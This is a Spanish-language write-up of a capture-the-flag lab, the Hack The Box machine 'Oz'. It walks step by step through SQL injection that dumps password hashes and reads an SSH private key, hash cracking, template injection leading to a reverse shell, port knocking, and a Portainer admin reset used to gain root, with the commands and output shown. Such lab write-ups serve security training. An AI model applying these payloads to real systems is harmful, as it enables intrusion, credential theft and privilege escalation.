Maquina Retirada Oz de Hack The Box (Necesario VIP)
OZ ~ Hack The Box
Realizamos el Primer escaneo con Nmap
$" nmap -p- --open -sS --min-rate 4000 -vvv -n -Pn -oG allports 10.10.10.96 "
Procedemos con el siguiente escaneo de Nmap
PORT STATE SERVICE VERSION
80/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
|_http-title: OZ webapi
|_http-trane-info: Problem with XML parsing of /evox/about
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.14)
| http-open-proxy: Potentially OPEN proxy.
|_Methods supported:CONNECTION
|_http-server-header: Werkzeug/0.14.1 Python/2.7.14
| http-title: GBR Support - Login
|_Requested resource was http://10.10.10.96:8080/login
|_http-trane-info: Problem with XML parsing of /evox/about
Procedemos con la herramienta Wfuzz
a enumerar rutas y directorios
# wfuzz -c --hc=404 -w /usr/share/wordlist/rockyou.txt http://10.10.10.96/FUZZ
"/users/"
Probamos a seguir enumerando con la herramienta Wfuzz
por la ruta /users/FUZZ
y nos da un fallo de Internal Server Error
cuando llega a la '
Sera vulnerable a una Injeccion SQL
?
Probamos a hacer un "' order by 1-- -" y nos responde un "NULL"
Con esto verificamos que es vulnerable a SQLI y procedemos a realizar las siguientes consultas SQLI:
Consulta 1:
"' union select database()-- -"
10.10.10.96/users/'%20union%20select%20database()--%20- RESPUESTA DEL SERVIDOR: “ozdb” Base de Datos en USO
Consulta 2:
"' union select user()-- -"
10.10.10.96/users/'%20union%20select%20user()--%20- RESPUESTA DEL SERVIDOR: "dorthi@10.100.10.6" un contenedor ?? de donde es esta IP ¿¿??
Consulta 3:
usamos Curl para hacer las peticiones:
"' union select schema_name from information_schema.shemata limit 0,1-- -" e iteramos sobre el valor de 0 con un bucle para $i y sacar todas los nombres de las bases de datos
# for i in $(seq 0 5); do curl -s -X GET "http://10.10.10.96/users/'%20union%20select%20schema_name%20from%20information_schema.schemata%20limit%20$i,%201--%20-" | jq ; done | tr '{}' ' '
"username": "information_schema"
"username": "mysql"
"username": "ozdb"
"username": "performance_schema"
Consulta 4:
Vamos a averiguar las tablas de una de las bases de datos encontradas anteriormente:
"' union select table_name from information_schema.tables where table_schema="osdb" limit 0,1-- -"
# for i in $(seq 0 10); do curl -s -X GET "http://10.10.10.96/users/'%20union%20select%20table_name%20from%20information_schema.tables%20where%20table_schema=%22ozdb%22%20limit%20$i,%201--%20-" | jq ; done | tr '{}' ' '
"username": "tickets_gbw"
"username": "users_gbw"
null
Consulta 5:
Vamos a averiguar las columnas de la tabla en la base de datos que ya hemos encontrado: Usamos Curl: Iteramos sobre un FOR
"' union select column_name from information_schema.columns where table_schema="ozdb" and table_name="users_gbw" limit 0,1-- -"
# for i in $(seq 0 5); do curl -s -X GET "http://10.10.10.96/users/'%20union%20select%20column_name%20from%20information_schema.columns%20where%20table_schema=%22ozdb%22%20and%20table_name=%22users_gbw%22%20limit%20$i,%201--%20-" | jq ; done | tr '{}' ' '
"username": "id"
"username": "username"
"username": "password"
Ya tenemos los Campos Username & Password
que son en los que queremos visualizar la DATA
dentro de ellos.
Como Solo Tenemos una columna
necesitamos jugar con un GROUP_CONCAT(username, password)
para poder listar dos campos en una sola columna.
Consulta 6:
vamos a listar los campos Username, Password de la tabla "users_gbw" de la base de datos "ozdb"
"' union select group_concat(username,':',password) from users_gbw-- -"
# curl -s -X GET "http://10.10.10.96/users/'%20union%20select%20group_concat(username,%22:%22,password)%20from%20users_gbw--%20-" | tr ',' '\n'
username":"dorthi:$pbkdf2-sha256$5000$aA3h3LvXOseYk3IupVQKgQ$ogPU/XoFb.nzdCGDulkW3AeDZPbK580zeTxJnG0EJ78
tin.man:$pbkdf2-sha256$5000$GgNACCFkDOE8B4AwZgzBuA$IXewCMHWhf7ktju5Sw.W.ZWMyHYAJ5mpvWialENXofk
wizard.oz:$pbkdf2-sha256$5000$BCDkXKuVMgaAEMJ4z5mzdg$GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
coward.lyon:$pbkdf2-sha256$5000$bU2JsVYqpbT2PqcUQmjN.Q$hO7DfQLTL6Nq2MeKei39Jn0ddmqly3uBxO/tbBuw4DY
toto:$pbkdf2-sha256$5000$Zax17l1Lac25V6oVwnjPWQ$oTYQQVsuSz9kmFggpAWB0yrKsMdPjvfob9NfBq4Wtkg
admin:$pbkdf2-sha256$5000$d47xHsP4P6eUUgoh5BzjfA$jWgyYmxDK.slJYUTsv9V9xZ3WWwcl9EBOsz.bARwGBQ
Encontramos unos hashes, estos hashes pueden ser crackeados
y averiguamos el tipo de hash que es para luego mediante el uso de la herramienta Hashcat
- TIPO DE HASH - Identificado en hashcat examples hashes wiki
| PBKDF2-HMAC-SHA256 | sha256:1000:MTc3MTA0MTQwMjQxNzY=:PYjCU215Mi57AYPKva9j7mvF4Rc5bCnt |
Adecuamos nuestros hashes a este hash para que Hashcat
lo pille correctamente y nos haga su trabajo de Fuerza Fruta
┌──(root💀pro)-[/home/…/Escritorio/HTB/Oz/nmap]
└─# cat hash
sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY
Procedemos con Hashcat a intentar crackear primero el hash del usuario “Wizard.oz”
# hashcat -m 10900 hash dicc
hashcat (v6.1.1) starting...
=============================================================================================================================
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Applicable optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Slow-Hash-SIMD-LOOP
Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.
Host memory required for this attack: 66 MB
Dictionary cache built:
* Filename..: dicc
* Passwords.: 31601
* Bytes.....: 317299
* Keyspace..: 31601
* Runtime...: 0 secs
"sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7GKGJWeqlZg28RIqSqspvKQq6LWY": "wizardofoz22"
Session..........: hashcat
Status...........: Cracked
Hash.Name........: PBKDF2-HMAC-SHA256
Hash.Target......: sha256:5000:BCDkXKuVMgaAEMJ4z5mzdg:GNn4Ti/hUyMgoyI7...Qq6LWY
Time.Started.....: Sun Jun 20 12:52:27 2021 (0 secs)
Time.Estimated...: Sun Jun 20 12:52:27 2021 (0 secs)
Guess.Base.......: File (dicc)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 15871 H/s (11.21ms) @ Accel:512 Loops:256 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 4096/31601 (12.96%)
Rejected.........: 0/4096 (0.00%)
Restore.Point....: 0/31601 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4864-4999
Candidates.#1....: mendoza -> zozokey
Started: Sun Jun 20 12:52:09 2021
Stopped: Sun Jun 20 12:52:29 2021
Ya tenemos unas Credenciales como el user wizard.oz : wizardofoz22
Vamos a hechar un ojo al puerto 8080 y vemos que tenemos un panel loguin
Procedemos con las credenciales obtenidas. Nos logueamos correctamente
foto
Vemos que podemos crear etiquetas o comentarios. Vemos tambien que el Wapallizer
nos reporta que estamos ante un Flask
Server Side Template Injection (SSTI)
Cuando tenemos una aplicacion como FLASK
corriendo es posible que se pueda injectar codigo de la siguiente forma `` si al enviar este codigo la respuesta del lado del servidor vemos que cambia a 4
indica que puede ser vulnerable a SSTI
Sacamos el Burpsuite
he interceptamos la peticion de crear una etiqueta nueva!!
Vamos a hacer uso de esta pagina https://github.com/swisskyrepo/PayloadsAllTheThings
En la parte de SSTI vemos varios recursos entre ellos Jinja2 - Read remote file
y recibimos correctamente el archivo /etc/passwd
Tambien vemos que hay un recurso para un RCE Jinja2 - Remote Code Execution
Exploit the SSTI by calling Popen without guessing the offset
Se ve que el simbolo & no le gustaba y lo url encodeamos y listo. Nos ponemos en una session de nc -vlnp 443
y esperamos a recibir la conexion al tramitar desde el Repiter la pwticion Web con el RCE.
Una vez dentro, vemos que no tenemos una bash asique tiramos de rlwrap para simular la tty
Enumeramos el sistema ya que vemos que entramos como root en la ip 10.100.10.2
no en la de la maquina 10.10.10.96
Encontramos una contraseña para el user root
en la ruta /app/
archivostart.sh
:
dentro de la ip 10.100.10.2 atraves de 8080 gracias al SSTI
cat start.sh
#!/bin/bash
docker run -d -v /connect/mysql:/var/lib/mysql --name ozdb \
--net prodnet --ip 10.100.10.4 \
-e MYSQL_ROOT_PASSWORD=SuP3rS3cr3tP@ss \
-e MYSQL_USER=dorthi \
-e MYSQL_PASSWORD=N0Pl4c3L1keH0me \
-e MYSQL_DATABASE=ozdb \
-v /connect/sshkeys:/home/dorthi/.ssh/:ro \
-v /dev/null:/root/.bash_history:ro \
-v /dev/null:/root/.ash_history:ro \
-v /dev/null:/root/.sh_history:ro \
--restart=always \
mariadb:5.5
mysql_root = SuP3rS3cr3tP@ss
Contraseña encontrada en directorio TiCKETERS / archivo: database.pyc
dorthi : N0Pl4c3L1keH0me Ip: 10.100.10.4 MYSQL ?¿
Nos montamos una pequeño oneliner
para averiguar atraves de nc -vnz
para comprobar conexiones abiertas, y ver si el servicio de ‘MySQL’
# for port in $(seq 1 10000);do nc -vnz 10.100.10.4 $port; done
10.100.10.4 (10.100.10.4:3306) open
Vemos que el puerto 3306 MySQL
esta abierto en la maquina 10.100.10.4
Seguimos enumerando un poco el sistema 10.100.10.2
y vemos que en la raiz /
tenemos:
# ls -la
total 72
drwxr-xr-x 53 root root 4096 May 15 2018 .
drwxr-xr-x 53 root root 4096 May 15 2018 ..
-rwxr-xr-x 1 root root 0 May 15 2018 .dockerenv
"drwxr-xr-x 2 root root 4096 Apr 24 2018 .secret" --->
"drwxr-xr-x 5 root root 4096 May 15 2018 app"
drwxr-xr-x 2 root root 4096 Apr 27 2018 bin
"drwxr-xr-x 3 root root 4096 May 15 2018 containers"
nos movemos al directorio .secret
:
#cd .secret
#cat knockd.conf
[options]
logfile = /var/log/knockd.log
[opencloseSSH]
sequence = 40809:udp,50212:udp,46969:udp
seq_timeout = 15
start_command = ufw allow from %IP% to any port 22
cmd_timeout = 10
stop_command = ufw delete allow from %IP% to any port 22
tcpflags = syn
/.secret #
Vemos un archivo de configuracion llamado "knockd.conf"
que nos recuerda al concepto de PORT KNOCKING
asique seguimos enumerando el sistema con este concepto en mente ya que vemos que el archivo de configuracion nos indica que se abre el servicio ssh en la maquina victima al golpear por UDP
los puertos indicados 40809 50212 46969
Port Knocking Concepto Nuevo
Este archivo resulta que es para hacer PORT KNOCKING concepto nuevo
se supone que el Port Knocking es una secuecia de golpes por UDP para que un servicio que no esta abierto a internet se abra a traves de esta tecnica que es lanzar un scaneo por udp con nmap a los puerto indicados de una IP objetivo
Mysql & MysqlShow
Vamos a probar autenticarnos al servicio de Mysql
desde la ip 10.100.10.2
a la 10.100.10.4
por el puerto 3306
Nos metemos al servicio de mysql de la 10.100.10.4 ya que el puerto 3306 esta open
mysqlshow -h 10.100.10.4 -udorthi -pN0Pl4c3L1keH0me mysql user
Usamos mysqlshow
para listar toda la data
mysql -h 10.100.10.4 -udorthi -pN0Pl4c3L1keH0me -e 'use mysql; select User,Password from user;'
User Password root *61A2BD98DAD2A09749B6FC77A9578609D32518DD dorthi *43AE542A63D9C43FF9D40D0280CFDA58F6C747CA
Como sabemos si estos hashes son lo que ya tenemos?De las dos contraseñas encontradas?? pues podemos usar mysql para verificarlo de esta forma si nosotros ya tenemos las contraseñas en texto claro.
mysql -h 10.100.10.4 -udorthi -pN0Pl4c3L1keH0me -e 'use mysql; select password("N0Pl4c3L1keH0me") from user;'
password("N0Pl4c3L1keH0me")
*43AE542A63D9C43FF9D40D0280CFDA58F6C747CA
vemos que si para dorthi
vemos que si para ROOT
mysql -h 10.100.10.4 -udorthi -pN0Pl4c3L1keH0me -e 'use mysql; select password("SuP3rS3cr3tP@ss") from user;'
password("SuP3rS3cr3tP@ss")
*61A2BD98DAD2A09749B6FC77A9578609D32518DD
*61A2BD98DAD2A09749B6FC77A9578609D32518DD
*61A2BD98DAD2A09749B6FC77A9578609D32518DD
/containers/database #
Desde aqui tambien podemos hacer otras cosas como listar archivos locales de la maquina victima,
y desde la injeccion en sql por fuera tambien prodriamos intentarlo. Lo probamos:
Desde el SQLI
en el puerto 80 ip 10.10.10.96
Paso 1 - Pasamos a hex la ruta que queremos apuntar para que se la trague correctamente
# echo "/home/dorthi/.shh/id_rsa" | xxd -ps 2f686f6d652f646f727468692f2e7368682f69645f727361
----------------------------------- Apuntamos a la ruta con un load_file(/ruta/)
"http://10.10.10.96/users/'%20union%20select%20load_file(0x2f686f6d652f646f727468692f2e7373682f69645f727361)--%20-"
-----------------------------------
Tratamiento del archivo ssh id_rsa encontrado
# cat id_rsa | sed 's/\\n/\n/g'
"-----BEGIN RSA PRIVATE KEY-----
Proc-Type: 4,ENCRYPTED
DEK-Info: AES-128-CBC,66B9F39F33BA0788CD27207BF8F2D0F6
RV903H6V6lhKxl8dhocaEtL4Uzkyj1fqyVj3eySqkAFkkXms2H+4lfb35UZb3WFC
b6P7zYZDAnRLQjJEc/sQVXuwEzfWMa7pYF9Kv6ijIZmSDOMAPjaCjnjnX5kJMK3F
e1BrQdh0phWAhhUmbYvt2z8DD/OGKhxlC7oT/49I/ME+tm5eyLGbK69Ouxb5PBty
h9A+Tn70giENR/ExO8qY4WNQQMtiCM0tszes8+guOEKCckMivmR2qWHTCs+N7wbz
a//JhOG+GdqvEhJp15pQuj/3SC9O5xyLe2mqL1TUK3WrFpQyv8lXartH1vKTnybd
9+Wme/gVTfwSZWgMeGQjRXWe3KUsgGZNFK75wYtA/F/DB7QZFwfO2Lb0mL7Xyzx6
ZakulY4bFpBtXsuBJYPNy7wB5ZveRSB2f8dznu2mvarByMoCN/XgVVZujugNbEcj
evroLGNe/+ISkJWV443KyTcJ2iIRAa+BzHhrBx31kG//nix0vXoHzB8Vj3fqh+2M
EycVvDxLK8CIMzHc3cRVUMBeQ2X4GuLPGRKlUeSrmYz/sH75AR3zh6Zvlva15Yav
5vR48cdShFS3FC6aH6SQWVe9K3oHzYhwlfT+wVPfaeZrSlCH0hG1z9C1B9BxMLQr
DHejp9bbLppJ39pe1U+DBjzDo4s6rk+Ci/5dpieoeXrmGTqElDQi+KEU9g8CJpto
bYAGUxPFIpPrN2+1RBbxY6YVaop5eyqtnF4ZGpJCoCW2r8BRsCvuILvrO1O0gXF+
wtsktmylmHvHApoXrW/GThjdVkdD9U/6Rmvv3s/OhtlAp3Wqw6RI+KfCPGiCzh1V
0yfXH70CfLO2NcWtO/JUJvYH3M+rvDDHZSLqgW841ykzdrQXnR7s9Nj2EmoW72IH
znNPmB1LQtD45NH6OIG8+QWNAdQHcgZepwPz4/9pe2tEqu7Mg/cLUBsTYb4a6mft
icOX9OAOrcZ8RGcIdVWtzU4q2YKZex4lyzeC/k4TAbofZ0E4kUsaIbFV/7OMedMC
zCTJ6rlAl2d8e8dsSfF96QWevnD50yx+wbJ/izZonHmU/2ac4c8LPYq6Q9KLmlnu
vI9bLfOJh8DLFuqCVI8GzROjIdxdlzk9yp4LxcAnm1Ox9MEIqmOVwAd3bEmYckKw
w/EmArNIrnr54Q7a1PMdCsZcejCjnvmQFZ3ko5CoFCC+kUe1j92i081kOAhmXqV3
c6xgh8Vg2qOyzoZm5wRZZF2nTXnnCQ3OYR3NMsUBTVG2tlgfp1NgdwIyxTWn09V0
nOzqNtJ7OBt0/RewTsFgoNVrCQbQ8VvZFckvG8sV3U9bh9Zl28/2I3B472iQRo+5
uoRHpAgfOSOERtxuMpkrkU3IzSPsVS9c3LgKhiTS5wTbTw7O/vxxNOoLpoxO2Wzb
/4XnEBh6VgLrjThQcGKigkWJaKyBHOhEtuZqDv2MFSE6zdX/N+L/FRIv1oVR9VYv
QGpqEaGSUG+/TSdcANQdD3mv6EGYI+o4rZKEHJKUlCI+I48jHbvQCLWaR/bkjZJu
XtSuV0TJXto6abznSC1BFlACIqBmHdeaIXWqH+NlXOCGE8jQGM8s/fd/j5g1Adw3
-----END RSA PRIVATE KEY-----
Ahora que tenemos la id_rsa
del usuario dorthi
procedemos con el concepto del Port Knocking
Acordarse siempre tenemos que darle permisos 600
al id_rsa
:
chmod 600 id_rsa
┌──(root💀kali)-[/home/…/Escritorio/HTB/Oz/nmap]
└─# for port in 40809 50212 46969; do nmap -sU -Pn --max-retries 0 -p$port 10.10.10.96; done &> /dev/null; ssh -i id_rsa dorthi@10.10.10.96
Enter passphrase for key 'id_rsa': [Introducimos la credencial anteriormente encontrada]
dorthi@Oz:~$ ls
user.txt
dorthi@Oz:~$ cat user.txt
c21cff3b0c26115143e6cea988dxxxxxx
dorthi@Oz:~$
Conseguimos el user.txt
vamos a por el root.txt
Escalada de Privilegios
Procedemos a hacer una enumeracion del sistema como siempre:
dorthi@Oz:/admin$ sudo -l
Matching Defaults entries for dorthi on Oz:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User dorthi may run the following commands on Oz:
" (ALL) NOPASSWD: /usr/bin/docker network inspect *"
" (ALL) NOPASSWD: /usr/bin/docker network ls"
dorthi@Oz:/admin$ sudo docker network inspect bridge
[
{
"Name": "bridge",
"Id": "a6b4f157c9e52f695bffde0984a763b23f382dc0dd4318683c4f920ac374d9ab",
"Created": "2021-06-20T04:52:02.80355347-05:00",
"Scope": "local",
"Driver": "bridge",
"EnableIPv6": false,
"IPAM": {
"Driver": "default",
"Options": null,
"Config": [
{
"Subnet": "172.17.0.0/16",
"Gateway": "172.17.0.1"
}
]
},
"Internal": false,
"Attachable": false,
"Containers": {
"e267fc4f305575070b1166baf802877cb9d7c7c5d7711d14bfc2604993b77e14": {
"Name": "portainer-1.11.1",
"EndpointID": "55041e840fae215bf26fe1cfb2c249adf2e00692cdb37103bbfcaf8469a1993c",
"MacAddress": "02:42:ac:11:00:02",
"IPv4Address": "172.17.0.2/16",
"IPv6Address": ""
}
},
"Options": {
"com.docker.network.bridge.default_bridge": "true",
"com.docker.network.bridge.enable_icc": "true",
"com.docker.network.bridge.enable_ip_masquerade": "true",
"com.docker.network.bridge.host_binding_ipv4": "0.0.0.0",
"com.docker.network.bridge.name": "docker0",
"com.docker.network.driver.mtu": "1500"
},
"Labels": {}
}
dorthi@Oz:/admin$ nmap -p- --open -T5 -v -n 172.17.0.2
Starting Nmap 7.01 ( https://nmap.org ) at 2021-06-20 08:49 CDT
Initiating Ping Scan at 08:49
Scanning 172.17.0.2 [2 ports]
Completed Ping Scan at 08:49, 0.00s elapsed (1 total hosts)
Initiating Connect Scan at 08:49
Scanning 172.17.0.2 [65535 ports]
Discovered open port 9000/tcp on 172.17.0.2
Completed Connect Scan at 08:49, 1.49s elapsed (65535 total ports)
Nmap scan report for 172.17.0.2
Host is up (0.00010s latency).
Not shown: 65534 closed ports
PORT STATE SERVICE
9000/tcp open cslistener
Procedemos a hacer un Local Port Forwarding al conectarnos a la maquina del puerto 9000 para verlo en nuestro localhost:9000:
# for port in 40809 50212 46969; do nmap -sU -Pn --max-retries 0 -p$port 10.10.10.96; done &> /dev/null; ssh -i id_rsa dorthi@10.10.10.96 -L 9000:172.17.0.2:9000 255 ⨯ 1 ⚙
Enter passphrase for key 'id_rsa':
dorthi@Oz:~$
Comprobamos que se ha hecho correctamente
# lsof -i:9000
COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
ssh 14080 root 4u IPv6 107500 0t0 TCP localhost:9000 (LISTEN)
ssh 14080 root 5u IPv4 107501 0t0 TCP localhost:9000 (LISTEN)
Y ahora por aqui ya estariamos viendo el servicio de PORTAINER en nuestro 127.0.0.1:9000
# curl -s -X POST "http://127.0.0.1:9000/api/users/admin/init" --data 'Username=Topro&Password=pro'
{"err":"Invalid JSON"}
Portainer Docker App Administration
Buscamos credenciales por defecto y encontramos una forma de setear o resetear la contraseña del admin si no ha sido previamente cambiada.Probamos:
# curl -s -X POST "http://127.0.0.1:9000/api/users/admin/init" --data '{"Username": "admin", "Password": "pro"}'
Entramos a la aplicacion Portainer y vemos que podemos crear un contenedor asique seguimos con el concepto de montar la / raiz de la maquina en un contenedor alojado como una montura para poder cambiar los archivos de la maquina y que se retoquen en la misma maquina
Para ello nos vamos a containers
creamos uno nuevo, le decimos que use la misma imagen que la que aparece en otro contenedor ya cargado
.
Procedemos a crear la montura de la /
en nuestro contenedor de nombre SeTenso
/mnt/root/
.
le damos a crear. Lo bueno del Portrainer
es que en nuestro contenedor podemos lanzar una shell interactiva en /bin/sh/
para poder acceder a la montura creada en el contenedor y visualizar todo el sistema 10.10.10.96
desde la /
. Ya que tenemos una shell por ssh vamos a darle permisos SUID a la bash para poder conectarnos como root haciendo un bash -p
. chmod u+x /bin/bash
Cambiamos a la shell por ssh y obtenemos root
dorthi@Oz:/bin$ bash -p
bash-4.3# whoami
root
bash-4.3#
Y ya podriamos sacar la flag root.txt
. Maquina Rooteada =D